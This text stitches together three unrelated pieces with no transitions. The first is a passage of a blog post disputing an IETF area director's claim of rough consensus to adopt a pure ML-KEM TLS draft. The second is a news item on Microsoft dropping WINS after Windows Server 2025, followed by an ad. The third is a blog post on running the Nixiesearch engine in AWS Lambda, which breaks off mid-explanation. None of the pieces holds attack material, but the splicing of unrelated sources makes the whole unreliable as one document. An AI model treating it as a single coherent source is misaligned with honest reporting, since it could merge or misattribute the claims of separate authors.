and then applying the components of that definition to the situation at hand.
Did the area director follow this structure?
Here's the definition of "consensus", or "rough consensus" if we're switching to that,
and now let's apply that definition?
No.
Nobody reading this message from the "area director" can figure out what the "area director" believes these words mean.
Wow, look at that:
"due process"
is another of the legal requirements for standards-development organizations.
Part of due process is simply
making clear what procedures are being applied
.
Could it possibly be that the people writing the law
were thinking through how standardization processes could be abused?
Numbers.
Without further ado,
let's look at what the "security area director" did write.
The IESG has requested that I evaluate the WG Adoption call
results for ML-KEM Post-Quantum Key Agreement for TLS 1.3
(draft-connolly-tls-mlkem-key-agreement). Please see below.
As noted above,
IESG had instructed the "area director" to answer the following question:
"Was rough consensus to adopt draft-connolly-tls-mlkem-key-agreement in the
TLS Working Group appropriately called by the WG chairs?"
Side note:
Given that the "area director" posted all of the following
on the same day that IESG instructed the "area director" to write this,
presumably this was all written in advance and coordinated with the rest of IESG.
I guess the real point of finally (on 1 November 2025) addressing the adoption decision (from 15 April 2025)
was to try to provide cover for the "last call" a few days later (5 November 2025).
ExecSum
I agree with the TLS WG Chairs that the Adoption Call result
was that there was rough consensus to adopt the document.
As noted above,
the TLS WG chairs had claimed "consensus",
and the "area director" had claimed that there was "clearly consensus".
The "area director" is now quietly shifting to a weaker claim.
Timeline
April 1: Sean and Joe announce WG Adoption Call
[ about 40 messages sent in the thread ]
"About 40"?
What happened to the "area director" previously writing
"There is clearly consensus
based on the 67 responses to the adoption call"?
And why is the number of messages supposed to matter in the first place?
April 15: Sean announces the Adoption Call passed.
[ another 50 messages are sent in the thread ]
Messages after the specified adoption-call deadline can't justify the claim that
"the Adoption Call result was that there was rough consensus to adopt the document".
The adoption call
failed
to reach consensus.
April 18 to today: A chain of (attempted) Appeals by D. J. Bernstein to the
AD(s), IESG and IAB, parts of which are still in process.
The fact that the ADs and IESG stonewalled in response to complaints
doesn't mean that they were "attempted" complaints.
Outcome
30 people participated in the consensus call, 23 were in favour of
adoption, 6 against and 1 ambivalent (names included at the bottom of
this email).
These numbers are
much
closer to reality
than the "area director" previously writing
"There is clearly consensus
based on the 67 responses to the adoption call. ...
The vast majority was in favour of adoption ...
There were a few dissenting opinions".
Also, given that the "area director" is continually making claims that aren't true
(see examples below)
and seems generally allergic to providing evidence
(the text I'm quoting below has, amazingly,
zero
URLs),
it's a relief to see the "area director" providing names to back up the claimed numbers here.
But somehow, even after being
caught
lying about the numbers before,
the "area director" still can't resist shading the numbers a bit.
The actual numbers were
20 people unequivocally supporting adoption,
2 people conditionally supporting adoption,
and 7 people unequivocally opposing adoption.
Clearly 7 is close to 6, and 20+2 is close to 23, but, hmmm, not exactly.
Let's check the details:
How does the "area director" end up with 6 negative votes rather than 7?
By falsely listing Thomas Bellebaum as "ambivalent"
and falsely attributing a "prefer not, but okay if we do" position to Bellebaum.
In fact,
Bellbaum had
written
"I agree with Stephen on this one and would not support adoption of non-hybrids."
(This was in reply to Stephen Farrell,
who had written "I'm opposed to adoption, at this time.")
How does the "area director" end up with 23 positive votes rather than 22?
By falsely listing the document author (Deirdre Connolly) as having stated a pro-adoption position during the call.
The "area director" seems generally clueless about conflict-of-interest issues
and probably doesn't find it obvious that an author
shouldn't
vote,
but the simple fact is that the author
didn't
vote.
She
sent
three
messages
during the call period;
all of those messages are merely commenting on specific points,
not casting a vote on the adoption question.
The document author didn't object to the "area director" fudging the numbers.
Bellebaum did politely
object
;
the "area director"
didn't argue
,
beyond trying to save face with comments such as "Thanks for the clarification".
More to the point,
the "area director" has never explained
whether or how the tallies of positive and negative votes
are supposed to be relevant to the "rough consensus" claim.
The "area director" also hasn't commented on IETF
saying
that IETF doesn't make decisions by voting.
Bogus arguments for the draft.
I mentioned in my previous blog post that IETF
claims
that "IETF participants use their best engineering judgment to find the best solution for the whole Internet,
not just the best solution for any particular network, technology, vendor, or user".
In favour argument summary
While there is a lack of substantiating why adoption is desired - which
is typical
Okay,
the "area director"
seems to have some basic awareness
that this document flunks the "engineering judgment" criterion.
The "area director" tries to defend this by saying that other documents flunk too.
So confidence-inspiring!
- the big use case seems to be to support those parties relying
on NIST and FIPS for their security requirements.
Wrong.
Anything+PQ, and in particular ECC+PQ,
complies with NIST's standards when the PQ part does.
See
NIST SP 800-227
:
"This publication approves the use of the key combiner (14) for any t > 1 if at least one
shared secret (i.e., S
j
for some j) is generated from the key-establishment methods in SP
800-56A [1] or SP 800-56B [2] or an approved KEM."
For example, if the PQ part is ML-KEM as per FIPS 203,
then NIST allows ECC+PQ too.
What's next:
claiming that using PQ in an Internet protocol would violate NIST standards
unless NIST has standardized that particular Internet protocol?
This encompasses much
more than just the US government as other certification bodies and other
national governments have come to rely on the outcome of the NIST
competition,
which was the only public multi-year post-quantum cryptography effort
to evaluate the security of proposed new post-quantum algorithms.
I won't bother addressing the errors here,
since the bottom-line claim is orthogonal to the issue at hand.
The TLS WG already has an ECC+PQ document using NIST-approved PQ;
the question is whether to also have a document allowing the ECC seatbelt to be removed.
It
was also argued pure PQ has less complexity.
You know what would be even less complicated?
Encrypting with the null cipher!
There was a claim that PQ is less complex than ECC+PQ.
There was no response to
Andrey Jivsov
objecting that having a PQ option makes the ecosystem
more
complicated.
The basic error in the PQ-less-complex claim is that it ignores ECC+PQ already being there.
How the "area director" described the objections.
Opposed argument summary
Most of the arguments against adoption are focused on the fact
that a failsafe is better than no failsafe, irrespective of which
post-quantum algorithm is used,
This is the closest that the "area director" comes to acknowledging the central security argument for ECC+PQ.
Of course, the "area director" spends as little time as possible on security.
Compare this to
my own objection
to adoption,
which started with SIKE as a concrete example of the dangers
and continued with
"SIKE is not an isolated example: https://cr.yp.to/papers.html#qrcsp
shows that 48% of the 69 round-1 submissions to the NIST competition
have been broken by now".
and that the practical costs for hybrids
are negligible.
Hmmm.
By listing this as part of an "opposed argument summary",
is the "area director" suggesting that this was disputed?
When and where was the dispute?
As noted above, I've seen
unquantified NSA/GCHQ fearmongering about costs
,
but that was outside IETF.
If NSA and GCHQ tried the same arguments on a public mailing list
then they'd end up being faced with questions that they can't answer.
It was also argued that having an RFC gives too much
promotion or sense of approval to a not recommended algorithm.
When I wrote my own summary of the
objections
,
I provided a quote and link for each point.
The "area director" doesn't do this.
If the "area director" is accurately presenting an argument that was raised,
why not provide a quote and a link?
Is the "area director" misrepresenting the argument?
Making up a strawman?
The reader can't tell.
I have expanded some of the arguments and my interpretation
of the weight of these below.
This comment about "weight" is revealing.
What we'll see again and again is that the "area director"
is expressing the weight that
he
places on each argument
(within the arguments selected and phrased by the "area director"),
i.e., the extent to which
he
is convinced or not convinced by those arguments.
Given that IESG has power under IETF rules to unilaterally block publications approved by WGs,
it's unsurprising that the "area directors", in their roles as IESG members,
will end up evaluating the merits of WG-approved documents.
But
that isn't what this "area director" was instructed to do here
.
There isn't a WG-approved document at this point.
Instead the "area director" was instructed to evaluate whether the chairs "appropriately"
called "rough consensus" to "adopt" the document.
The "area director" is supposed to be evaluating procedurally what the WG decision-makers did.
Instead the "area director" is putting his thumb on the scale in favor of the document.
Incompetent risk management.
Non-hybrid as "basic flaw"
The argument by some opponents that non-hybrids are a "basic flaw" seems
to miscategorize what a "basic flaw" is. There is currently no known
"basic flaw" against MLKEM.
I think that the "area director" is trying to make some sort of claim here
about ML-KEM not having been attacked,
but the wording is so unclear as to be unevaluatable.
Why doesn't
KyberSlash
count?
How about
Clangover
?
How about the continuing advances in lattice attacks
that have already reduced ML-KEM below its claimed security targets,
the most recent news being from
last month
?
More importantly,
claiming that ML-KEM isn't "known" to have problems
is utterly failing to address the point of the ECC seatbelt.
It's like saying
"This car hasn't crashed, so the absence of seatbelts isn't a basic flaw".
As was raised, it is rather odd to be
arguing we must immediately move to use post-quantum algorithms while
at the same time argue these might contain fundamental basic flaws.
Here the "area director" is reasonably capturing
a statement from one document proponent
(original wording:
"I find it
to be cognitive dissonance to simultaneously argue that the quantum threat requires immediate work, and
yet we are also somehow uncertain of if the algorithms are totally broken. Both cannot be true at the same time").
But I promptly
followed up
explaining the error:
"Rolling out PQ is trying to reduce the damage from an attacker having a
quantum computer within the security lifetime of the user data. Doing
that as ECC+PQ instead of just PQ is trying to reduce the damage in case
the PQ part is broken. These actions are compatible, so how exactly do
you believe they're contradictory?"
There was, of course, no reply at the time.
The "area director" now simply repeats the erroneous argument.
As TLS (or IETF) is not phasing out all non-hybrid classics,
"Non-hybrid classics" is weird terminology.
Sometimes pre-quantum algorithms (ECC, RSA, etc.) are called "classical",
so I guess the claim here is that using just ECC in TLS isn't being phased out.
That's a bizarre claim.
There are intensive efforts to roll out ECC+PQ in TLS
to try to protect against quantum computers.
Cloudflare
reports
the usage of post-quantum cryptography having risen to about 50% of all browsers that it sees
(compared to 20% a year ago);
within those connections,
95%
use ECC+MLKEM768 and 5% use ECC+Kyber768.
The "area director" also gives no explanation of
why the "not phasing out" claim is supposed to be relevant here.
I find
this argument not strong enough
See how the "area director" is saying the weight that the "area director" places on each argument
(within the arguments selected and phrased by the "area director"),
rather than evaluating whether there was consensus to adopt the document?
to override the consensus of allowing
non-hybrid standards from being defined
Circular argument.
There wasn't consensus to adopt the document in the first place.
especially in light of the
strong consensus for marking these as "not recommended".
I think many readers will be baffled by this comment.
If something is "not recommended",
wouldn't that be an argument
against
standardizing it,
rather than an argument
for
standardizing it?
The answer is that "not recommended" doesn't mean what you think it means:
the "area director" is resorting to confusing jargon.
I don't think there's any point getting into the weeds on this.
Incompetent planning for the future.
Non-hybrids are a future end goal
Additionally, since if/when we do end up in an era with a CRQC, we are
ultimately designing for a world where the classic components offer less
to no value.
If someone is trying to argue for removing ECC,
there's a big difference between the plausible scenario of ECC having "less" value
and the extreme scenario of ECC having "no" value.
It's wrong for the "area director" to be conflating these possibilities.
As I put it
almost two years ago
:
"Concretely, think about a demo showing that spending a billion dollars on quantum computation can break a thousand X25519 keys.
Yikes! We should be aiming for much higher security than that!
We don't even want a billion-dollar attack to be able to break
one
key!
Users who care about the security of their data will be happy that we deployed post-quantum cryptography.
But are the users going to say 'Let's turn off X25519 and make each session a million dollars cheaper to attack'?
I'm skeptical.
I think users will need to see much cheaper attacks before agreeing that X25519 has negligible security value."
Furthermore,
let's think for a moment about the idea
that one will eventually want to transition to
just ML-KEM
,
the specific proposal that the "area director" is portraying as the future.
Here are three ways that this can easily be wrong:
Maybe ML-KEM's implementation issues
end up convincing the community to shift to a more robust option,
analogously to what happened with
ECC
.
Maybe the advances in public attacks continue to the point of breaking ML-KEM outright.
Maybe the cliff stops crumbling and ML-KEM survives,
but more efficient options also survive.
At this point there are quite a few options more efficient than ML-KEM.
(Random example:
SMAUG
.
The current SMAUG software isn't as fast as the ML-KEM software,
but this is outweighed by SMAUG using less network traffic than ML-KEM.)
Probably some options will be broken,
but ML-KEM would have to be remarkably lucky to end up as the most efficient remaining option.
Does this "area director" think that all of the more efficient options are going to be broken, while ML-KEM won't?
Sounds absurdly overconfident.
More likely is that the "area director" doesn't even realize that there are more efficient options.
For anyone thinking "presumably those newer options have received less scrutiny than ML-KEM":
we're talking about what to do long-term, remember?
Taking ML-KEM as the PQ component of ECC+PQ is working for getting something rolled out now.
Hopefully ML-KEM will turn out to not be a security disaster (or a patent disaster).
But, for guessing what will be best to do in 5 or 10 or 15 years,
picking ML-KEM is premature.
When and where to exactly draw the line of still using a
classic
component safeguard is speculation at best.
Here the "area director" is
clearly
attacking a strawman.
Already supporting pure post
quantum algorithms now to gain experience
How is rolling out PQ supposed to be gaining experience
that isn't gained from the current rollout of ECC+PQ?
Also, I think it's important to call out the word "pure" here
as incoherent, indefensible marketing.
What we're actually talking about isn't modifying ML-KEM in any way;
it's simply hashing the ML-KEM session key together with other inputs.
Is ML-KEM no longer "pure" when it's plugged into TLS,
which also hashes session keys?
(The word "pure" also showed up in a few of the earlier quotes.)
while not recommending it at this
time seems a valid strategy for the future, allowing people and
organizations
their own timeline of deciding when/if to go from hybrid to pure PQ.
Here we again see
the area director making a decision to support the document
,
rather than evaluating whether there was consensus in the WG to adopt the document.
Again getting the complexity evaluation backwards.
Added complexity of hybrids
There was some discussion on whether or not hybrids add more complexity, and
thus add risk, compared to non-hybrids. While arguments were made that
proper
classic algorithms add only a trivial amount of extra resources, it was also
pointed out that there is a cost of implementation, deployment and
maintenance.
Here the "area director" is again
making the same mistake explained earlier:
ignoring the fact that ECC+PQ is already there,
and thus getting the complexity evaluation backwards.
The "thus add risk" logic is also wrong.
Again, all of these options are more complex than the null cipher.
Additionally, the existence of draft-ietf-tls-hybrid-design and the
extensive
discussions around "chempat" vs "xwing" vs "kitchensink" shows that there is
at least some complexity that is added by the hybrid solutions.
No, the details of how to combine ECC with PQ in TLS are already settled and deployed.
Looking beyond TLS:
Chempat hashes the transcript (similarly to TLS),
making it robust for a wide range of protocols.
The other options add fragility by hashing less for the sake of minor cost savings.
Each of these options is under 10 lines of code.
The "area director" exaggerates the complexity by mentioning "extensive discussions",
and spends much more effort hyping this complexity as a risk
than acknowledging the risks of further PQ attacks.
Anyway,
it's not as if the presence of this document
has eliminated the discussions of ECC+PQ details,
nor is there any credible mechanism by which it could do so.
Again, the actual choice at hand is whether to have PQ as an option
alongside
ECC+PQ.
Adding that option
adds
complexity.
The "area director" is getting the complexity comparison backwards
by instead comparing
(1) PQ in isolation to (2) ECC+PQ in isolation.
Botching the evaluation of human factors.
RFCs being interpreted as IETF recommendation
It seems there is disagreement about whether the existence of an RFC
itself qualifies as the IETF defacto "recommending" this in the view
of IETF outsiders/ implemeners whom do not take into account
any IANA registry RECOMMENDED setting or the Mandatory-To-Implement
(MTI) reommendations.
I would expect a purchasing manager to have instructions
along the lines of "Buy only products complying with the standards",
and to never see IETF's confusing jumble of further designations.
This is an area where we recently found out there
is little consensus on an IETF wide crypto policy statement via an
RFC. The decision on whether an RFC adds value to a Code Point should
therefor be taken independently of any such notion of how outsiders might
interpret the existence of an RFC.
From a security perspective,
it's a big mistake to ignore the human factor,
such as the impact of a purchasing manager saying
"This is the most efficient standard so I'll pick that".
In this case, while Section 3 could be
considered informative, I believe Section 4 and Section 5 are useful
(normative)
content that assists implementers.
Is this supposed to have something to do with the consensus question?
And people have proposed extending the
Security Considerations to more clearly state that this algorithm is not
recommended at this point in time. Without an RFC, these recommendations
cannot be published by the IETF in a way that implementers would be known
to consume.
Ah, yes, "known to consume"!
There was, um,
one of those, uh, studies showing the details of, um, how implementors use RFCs,
which, uh, showed that 100% of the implementors diligently consumed the warnings in the RFCs.
Yeah, that's the ticket.
I'm sure the URL for this study is sitting around here somewhere.
Let's get back to the real world.
Even if an implementor does see a "This document is a bad idea" warning,
this simply doesn't matter
when the implementors are chasing contracts issued by purchasing managers
who simply care what's standardized and haven't seen the warning.
It's much smarter for the document to
(1) eliminate making the proposal that it's warning about
and (2) focus, starting in the title, on saying why such proposals are bad.
This makes people
more
likely to see the warning,
and at the same time it removes the core problem of the bad proposal being standardized.
Fictions regarding country actions.
Say no to Nation State algorithms
The history and birth of MLKEM from Kyber through a competition of the
international Cryptographic Community, organized through US NIST can
hardly be called or compared to unilateral dictated nation state algorithm
selection.
Certainly there were competition-like aspects to the process.
I tend to refer to it as a competition.
But in the end the selection of algorithms to standardize was made by NIST,
with
input behind the scenes from NSA
.
There has been no other comparable public effort to gather
cryptographers and publicly discuss post-quantum crypto candidates in a
multi-years effort.
Nonsense.
The premier multi-year effort by cryptographers to "publicly discuss post-quantum crypto candidates"
is the cryptographic literature.
In fact, other nation states are heavily relying on the
results produced by this competition.
Here's the objection from
Stephen Farrell
that the "area director" isn't quoting or linking to:
"I don't see what criteria we might use in adopting this that
wouldn't leave the WG open to accusations of favouritism if
we don't adopt other pure PQ national standards that will
certainly arise".
After reading this objection,
you can see how the "area director" is sort of responding to it
by suggesting that everybody is following NIST
(i.e., that the "certainly arise" part is wrong).
But that's not true.
NIST's selections are controversial.
For example, ISO is
considering
not just ML-KEM but also
Classic McEliece,
where NIST has
said
it's waiting for ISO
("After the ISO standardization process has been completed, NIST may consider developing a standard for Classic McEliece based on the ISO standard"),
and
FrodoKEM,
which NIST
said
"will not be considered further for standardization".
ISO is also now
considering
NTRU, where the
advertisement
includes "All patents related to NTRU have expired"
(very different from the ML-KEM situation).
BSI, which sets cryptographic standards for Germany,
recommends
not just ML-KEM
but also FrodoKEM (which it describes as "more conservative" than ML-KEM)
and Classic McEliece ("conservative and very thoroughly analysed").
Meanwhile China has called for
submissions
of new post-quantum proposals for standardization.
I could keep going,
but this is enough evidence to show that Farrell's prediction was correct;
the "area director" is once again wrong.
The use of MLKEM in the IETF will
not set a precedent for having to accept other nation state cryptography.
Notice how the "area director" is dodging Farrell's point.
If NSA can pressure the TLS WG into standardizing non-hybrid ML-KEM,
why can't China pressure the TLS WG into standardizing something China wants?
What criteria will IETF use to answer this question
without leaving the WG "open to accusations of favouritism"?
If you want people to believe that it isn't about the money
then you need a
really
convincing alternative story.
Denouement.
Not recommending pure PQ right now
There was a strong consensus that pure PQ should not be recommended at
this time, which is reflected in the document. There was some discussion
on RECOMMENDED N vs D, which is something that can be discussed in the
WG during the document's lifecycle before WGLC. It was further argued
that adopting and publishing this document gives the WG control over
the accompanying warning text, such as Security Considerations, that
can reflect the current consensus of not recommending pure MLKEM over
hybrid at publication time.
This is just rehashing earlier text,
even if the detailed wording is a bit different.
Conclusion
The pure MLKEM code points exist.
Irrelevant.
The question is whether they're being standardized.
An international market segment that
wants to use pure MLKEM exists
along with existing implementations of the draft on mainstream
devices and software.
Yes, NSA waving around money has convinced some corporations to provide software.
How is this supposed to justify the claim
that "there was rough consensus to adopt the document"?
There is a rough consensus to adopt the document
Repeating a claim doesn't make it true.
with a strong consensus for RECOMMENDED N and not MTI, which is
reflected in the draft.
Irrelevant.
What matters is whether the document is standardized.
The reasons to not publish MLKEM as an RFC seem
more based on personal opinions of risk and trust not shared amongst all
participants as facts.
This sort of dismissal might be more convincing
if it were coming from someone providing more URLs and fewer easily debunked claims.
But it's in any case not addressing the consensus question.
Based on the above, I believe the WG Chairs made the correct call that
there was rough consensus for adopting
draft-connolly-tls-mlkem-key-agreement
The chairs claimed that "we have consensus to adopt this draft"
(based on claiming that "there were enough people willing to review the draft",
never mind the number of objections).
That claim is wrong.
The call for adoption failed to reach consensus.
The "area director" claimed that
"There is clearly consensus
based on the 67 responses to the adoption call. ...
The vast majority was in favour of adoption ...
There were a few dissenting opinions".
These statements still haven't been retracted;
they were and are outright lies about what happened.
Again, the
actual tallies
were
20 people unequivocally supporting adoption,
2 people conditionally supporting adoption,
and 7 people unequivocally opposing adoption.
Without admitting error,
the "area director" has retreated to a claim of "rough consensus".
The mishmash of ad-hoc comments from the "area director"
certainly doesn't demonstrate any coherent meaning of "rough consensus".
It's fascinating that IETF's
advertising to the public
claims that IETF's "decision-making requires achieving broad consensus",
but IETF's
WG procedures
allow controversial documents to be pushed through on the basis of "rough consensus".
To be clear,
that's only if the "area director" approves of the documents,
as you can see from the same "area director"
issuing yet another mishmash of ad-hoc comments to
overturn
a separate chair decision in September 2025.
You would think that the WG procedures would
define
"rough consensus".
They don't.
All they say is that
"51% of the working group does not qualify as 'rough consensus' and 99% is better than rough",
not even making clear whether 51% of
voters
within a larger working group can qualify.
This leaves a vast range of ambiguous intermediate cases up to the people in power.
Version:
This is version 2025.11.23 of the 20251123-dodging.html web page.
Microsoft to remove WINS support after Windows Server 2025
Bleeping Computer
www.bleepingcomputer.com
2025-11-24 11:47:01
Microsoft has warned IT administrators to prepare for the removal of Windows Internet Name Service (WINS) from Windows Server releases starting in November 2034. [...]...
Microsoft has warned IT administrators to prepare for the removal of Windows Internet Name Service (WINS) from Windows Server releases starting in November 2034.
The legacy
WINS
computer name registration and resolution service has been deprecated
with the release of Windows Server 2022
in August 2021, when Microsoft stopped active development and working on new features.
Windows Server 2025 will be the final Long-Term Servicing Channel release to come with WINS support, with the feature to be removed from future releases.
"WINS was officially deprecated since Windows Server 2022 and will be removed from all Windows Server releases following Windows Server 2025,"
Microsoft announced
on Friday.
"Standard support will continue through the lifecycle of Windows Server 2025, until November 2034. We encourage you to migrate to modern Domain Name System (DNS)-based name resolution solutions before then."
Once removal takes effect, Windows Server will no longer include the WINS server role, the WINS management console snap-in, the WINS automation APIs, and related interfaces.
Microsoft highlighted several reasons for eliminating WINS support, including DNS's superior scalability and compliance with modern internet standards, and it noted that DNSSEC provides security protections against cache poisoning and spoofing attacks that WINS/NetBIOS cannot mitigate.
It also added that modern Microsoft services, including Active Directory, cloud platforms, and Windows APIs, rely on DNS for name resolution.
Organizations still dependent on WINS are advised to immediately begin auditing services and applications that still rely on NetBIOS name resolution and migrate to DNS with conditional forwarders, split-brain DNS, or search suffix lists to replace WINS functionality.
Microsoft also cautioned against temporary workarounds such as static host files, saying they don't scale and aren't sustainable for enterprise environments.
"Now is the time to review dependencies, evaluate DNS migration plans, and make informed decisions," Microsoft noted.
"Organizations relying on WINS for NetBIOS name resolution are strongly encouraged to begin migration planning immediately to avoid disruptions."
As MCP (Model Context Protocol) becomes the standard for connecting LLMs to tools and data, security teams are moving fast to keep these new services safe.
This free cheat sheet outlines 7 best practices you can start using today.
I put a search engine into a Lambda, so you only pay when you search
Modern serverless search is just an accounting trick. There’s a hidden pool of nodes behind the API, and the final bill is split evenly among all clients. There’s always a standby warm node waiting for your request - you just don’t see it.
And you can’t get rid of it because scaling search engines is HARD (or at least search vendors want you to think so). You can’t just put one into a Lambda function. But what if you actually can?
As someone who has hated Elasticsearch since version 0.89 (but still uses it), there are three major blockers to running it in a truly serverless mode:
Container size
: It’s around 700MB in version 9.x. The bigger the container, the slower the node startup, since it has to be pulled from somewhere.
Container startup time
: For ES 9.x, the startup time alone is about 40 seconds. And the time-to-performance is much worse, since a cold JVM is painfully slow until it sees some traffic.
Index and state
: Search engines like Elastic and Qdrant behave like databases, with each node hosting a fraction of the total cluster state. When a new node joins, the cluster needs to rebalance. What happens if you scale-to-zero? Better not ask.
We’re going to take my pet-project-gone-big search engine,
Nixiesearch
, and squeeze it into an
AWS Lambda
:
It’s also JVM-based, since it uses
Apache Lucene
for all search-related internals (Like OpenSearch, Elasticsearch and SOLR).
We’re going to build a native x86_64 binary with
GraalVM native-image
: this should reduce the Docker image size (no JVM!) and eliminate JVM warmup entirely.
Can we store an index outside the search engine?
Can we achieve reasonable latency with
AWS S3
? What if we host the index on
AWS EFS
instead?
You may wonder why do we ever need to perform weird AWS Lambda tricks when we can just keep the status quo with warm stand-by nodes? No warm-up, no cold-start, no obscure limits - it’s a good traditional approach.
Because doing weird stupid things is the way I learn. So the challenge is to have a proof-of-concept which:
Has minimal startup time
, so scale up-down won’t be an issue. With sub-second startup you can even
scale to zero
when there’s no traffic!
Search latency is going to be reasonably fast
. Yes modern search engines compete on 3 vs 5 milliseconds, but in practice you also have an chonky embedding model, which adds extra 300-400ms latency on top.
Java AOT compilation and remote index storage, sounds easy.
GraalVM native-image
is an Ahead-Of-Time compiler: it takes a JVM application JAR file and builds an almost zero-dependency native binary that depends only on
glibc
. It sounds fancy in theory, but in practice not all applications can be statically compiled that easily.
Accessing field reflectively in Java. If you do this, you probably doing something wrong.
If you (or your transitive dependencies) use reflection to do something dynamic like enumerating class fields or loading classes dynamically, then GraalVM requires you to create a
reflection-config.json
file listing all the nasty things you do.
Example of reflect-config.json
Building such a file manually for all transitive dependencies is practically impossible. But in modern GraalVM versions you can attach a tracing agent to your application, which records all the nasty things happening throughout the entire codebase.
The tracing agent needs to observe all execution paths in your application, and instead of sending all possible search requests manually, I just attached it to the test suite — and got a monumental
reachability-metadata.json
file that hopefully covers all reflection usage in transitive dependencies.
It’s time to build our first native binary!
A real native-image command-line.
It takes around two minutes on my 16-core AMD Zen 5 CPU to compile the binary, which is impressively slow. With an
ubuntu:24.04
minimal base image we get 338MB — a nice reduction from 760MB.
The musl-based binary ends up at the same
244MB
, but now it can run natively on Alpine without the
gcompat
glibc layer. But can we go even further and build the app completely statically, without linking libc at all? Once you start trimming dependencies, it’s hard to stop.
Now we’re at
248MB
, but we no longer need a base system at all - which gives us the most perfect Docker image ever:
FROM scratch
COPY --from=builder /build/nixiesearch /nixiesearch
ENTRYPOINT /nixiesearch
We could go even further and enable the
-Os
option to optimize for size, but I’m afraid it might impact request processing performance.
How I went from 760MB docker image to just 205MB.
GraalVM also notes that almost 30% of the codebase is taken up by the AWS Java SDK with its massive dependency footprint, so the next step is switching to the raw S3 REST API instead of the nice SDK helpers.
I originally thought that AWS Lambda runtime for Docker is just a simple “docker pull” and “docker run” on each request,
but it’s slightly more complex
:
Lambda API request lifecycle.
On initial code deployment, the container gets fetched from ECR, unpacked and cached on all AWS AZ where your lambda is scheduled to run.
When first request arrives, the container goes in to the
Init
stage
: it gets executed on a minimal Firecracker VM. The Lambda runtime waits until started container polls runtime API for the actual request to process.
This stage is billed, so we need to be as fast as possible here.
Request stage
: container polls runtime API for request and produces the response. This is where the actual work happens, and this is the part you’re also billed for.
And here the MAGICAL
Freeze stage
: After the Lambda API receives a response and sees that the app starts polling for the next request, the VM gets frozen. It’s still a VM, but with zero CPU and its RAM offloaded to disk. You pay
zero
for a container in the freeze stage.
When there’s a new request arrives, container VM gets into
Thaw stage
: unfrozen, processes the next request and so on to get frozen again.
When there are no requests arriving for a longer period of time (in practice 5-15 minutes), lambda container gets destroyed.
Cold request (full init):
Duration: 84.15 ms
Billed Duration: 535 ms
Memory Size: 3008 MB
Max Memory Used: 133 MB
Init Duration: 449.85 ms
Warm request (after freeze-thaw cycle):
Duration: 2.62 ms
Billed Duration: 3 ms
Memory Size: 3008 MB
Max Memory Used: 194 MB
That’s nice: we were able to spin the cold container
in only 449ms
, and warm no-op requests are just
3ms!
But note that AWS Lambda compute is very limited:
RAM
: 128MB default with up to 3008MB max. You can submit a support ticket to get 10GB RAM, but I was too lazy to argue with AWS support.
vCPU
: 1 vCPU, and if you go beyond 1536MB of RAM, you get 2nd vCPU. Not much.
Disk
: up to 10GB of instance storage.
And last but not the least, S3 read throughput depends on RAM size:
S3 throughput data is well aligned
with known S3 throughput limits for AWS EC2 instances
. Assuming that we have only 2 vCPU max, 100MB/s is the best you can expect - which is not nice considering that to run search we need to access the index.
Nixiesearch always was built with S3 block storage in mind. But as OpenSearch (and perhaps Elasticsearch Serverless) it uses S3 only for simple segment replication:
Segment replication with AWS S3.
As lambdas are ephemeral, we need to deliver index somehow to the search engine:
We can
directly wrap all Lucene index access into S3 ReadObject
calls. This might work, but HNSW vector search is an iterative graph traversal, which will ruin the latency. Slow (and expensive due to ~500 S3 reads per request) search, but no init time. But it sounds serverless!
We can do a good old
segment replication from S3 to Lambda ephemeral storage
. Then for a 2GB index and expected 100MB/s throughput our init time is going to be 2GB * 0.1GB/s = 20 seconds. But after that the search speed is going to be perfect with no extra costs.
Napkin storage costs math for 1M requests:
Direct S3 search with no caching
: 500 S3 reads per request * 1M requests * 0.0004$/1000reads =
200$/month.
Yes running an ES cluster is more expensive, but not much.
Segment replication
: considering that 1M requests/month is around 0.5rps, it means that your lambda function is going to be always warm and there’s no repeated inits - you fetch the index once and only refresh changed segments.
Then the cost is going to be around 0$
.
I don’t like the idea of an init taking half a minute - then we’re not much different from good old Elastic. But what if we host an index on an NFS (e.g. AWS EFS) storage?
AWS EFS
: 1MB data read per search request * 1M requests * 0.03$/GB =
30$/month
. Now math makes more sense: we have zero init time, but have extra latency for all disk access.
I took the FineWiki “simple” part with 300k documents, embedded them with
OpenAI text-embedding-3-small
model and deployed it on an AWS Lambda with EFS storage attached.
Blue gradient background is like an em-dash of vibe-coded front-ends.
There’s some nice server+client side latency breakdown if you want to see where the actual time is spent. And yes, 1.5s first request latency is kinda slower than I’ve initially expected.
In simple words, random reads from NFS-style storage are just slow:
breakdown of a sample request
As my test lambda runs in AWS us-east-1 and I’m physically in EU, latency can be improved by replicating lambda to more regions. Embedding latency is the AI toll we have to pay anyway. But why search and fetch stages are so slow?
One of reviewers of this post suggested to bake the whole index directly to the docker image as an alternative: yes, you cannot easily update the index in real-time anymore - you need to rebuild the Docker image from scratch every time you change it. But it may work in cases when you can tolerate some lag in indexing. But the results we got were even more surprising:
When you thought AWS EFS was slow, you should try baking index into docker image.
I thought 1.5s request latency with AWS EFS was slow, but doing random reads across an index backed directly to the docker image were even slower. Why? Because lambdas are not running docker images as-is: they unpack them and cache in an AZ-local S3 block cache:
In other words, baking index into a docker image is just another way of storing your index on AZ-local S3-Express bucket (and mounting it with s3-fuse or something).
Realistically 1.5s (and even 7s) per cold search might sound horrible, but things get fast pretty quickly as we eventually load cold data into a filesystem cache:
Image above is for Docker-bundled index, but for EFS/NFS attached it’s quite similar.
We get into a reasonable 120ms latency for search and almost instant field fetch around request #10. But it’s still far from the idealistic idea of true serverless search when you don’t need an idling warm node to be up to serve your request.
Folks like
turbopuffer
,
topk
and
LanceDB
advocate the idea that to run on top of S3 you need another non-HNSW data structure like
IVF
, which is more friendly to high access latency.
Instead of navigating over HNSW graph, iteratively doing ton of random reads, you can just cluster documents together and only perform batch reads of clusters lying nearby to your query:
Much easier search implementation
without any iterative random reads patterns: just read a complete set of cluster documents in a single S3 GetObject request.
Clusters can be updated in-place
by just appending new documents.
The elephant in the room:
IFV have much much worse recall,
especially for filtered search. So your search can be either fast or precise, you should choose in advance.
Yes I can just hack IFV support to Nixiesearch (as Lucene supports flat indexes already), but there’s a better way. S3 has almost unlimited concurrency: can we untangle reads from being iterative to being batched and concurrent?
Traversing HNSW graph for K-NN search is iterative:
You land on an entrypoint node, which has M connections to other neighbor nodes.
For each connection, you load its embedding (and do S3 GetObject request) and compute a cosine distance.
After all M neighbor distances are evaluated, you jump on the best next node.
Sequential reads, oh no!
But you don’t need to be iterative while loading neighbor embeddings: Lucene’s HnswGraphSearcher is already quite close to be bend into the direction for making embedding load concurrent and parallel:
